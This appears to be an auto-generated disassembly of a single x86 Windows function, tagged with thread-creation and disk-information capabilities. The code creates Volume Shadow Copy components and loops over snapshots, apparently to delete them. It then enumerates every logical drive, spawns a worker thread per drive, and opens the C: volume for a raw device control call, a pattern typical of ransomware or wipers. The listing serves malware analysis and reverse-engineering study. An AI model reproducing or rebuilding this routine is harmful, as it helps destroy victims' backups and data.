Function at 0x401590
Capabilities:
Create thread
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x98
mov eax, dword [0x403004]
xor eax, esp
mov dword [esp + 0x94], eax
push esi
push edi
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
js 0x4016c7
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.VSSAPI.DLL_CreateVssBackupComponentsInternal]
test eax, eax
js 0x4016c1
mov ecx, dword [esp + 0x10]
push 0
push ecx
mov eax, dword [ecx]
call dword [eax + 0x14]
test eax, eax
js 0x4016b7
mov edx, dword [esp + 0x10]
movups xmm0, xmmword [0x4020a8]
mov eax, dword [edx]
mov ecx, dword [eax + 0xac]
lea eax, [esp + 0x14]
push eax
push 3
push 1
sub esp, 0x10
mov eax, esp
push edx
movups xmmword [eax], xmm0
call ecx
test eax, eax
js 0x4016b7
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x34]
push edx
mov eax, dword [ecx]
push 1
push ecx
call dword [eax + 0xc]
test eax, eax
jne 0x4016ad
mov esi, dword [sym.imp.VSSAPI.DLL_VssFreeSnapshotPropertiesInternal]
nop word [eax + eax]
movups xmm0, xmmword [0x4020a8]
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 0
push 3
sub esp, 0x10
movups xmmword [esp + 0x40], xmm0
mov edx, dword [ecx]
mov eax, esp
movups xmm0, xmmword [esp + 0x58]
push ecx
movups xmmword [eax], xmm0
call dword [edx + 0x9c]
lea eax, [esp + 0x38]
push eax
call esi
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x1c]
push edx
lea edx, [esp + 0x34]
push edx
mov eax, dword [ecx]
push 1
push ecx
call dword [eax + 0xc]
test eax, eax
je 0x401650
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
push 0
push 0
push 0
push 0x401040
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov esi, eax
test esi, esi
je 0x40175c
push 4
push 0x3000
lea ecx, [esi*2 + 2]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x18], edi
test edi, edi
je 0x40175c
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
je 0x40174b
push 0
push 0
push esi
push 0x401570
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea esi, [esi + edi*2]
add esi, 2
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, eax
test edi, edi
jne 0x401724
push 0x8000
push 0
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x7530
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..C:
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4017aa
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0x2d4808
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x9c]
pop edi
pop esi
xor ecx, esp
call fcn.004017be
mov esp, ebp
pop ebp
ret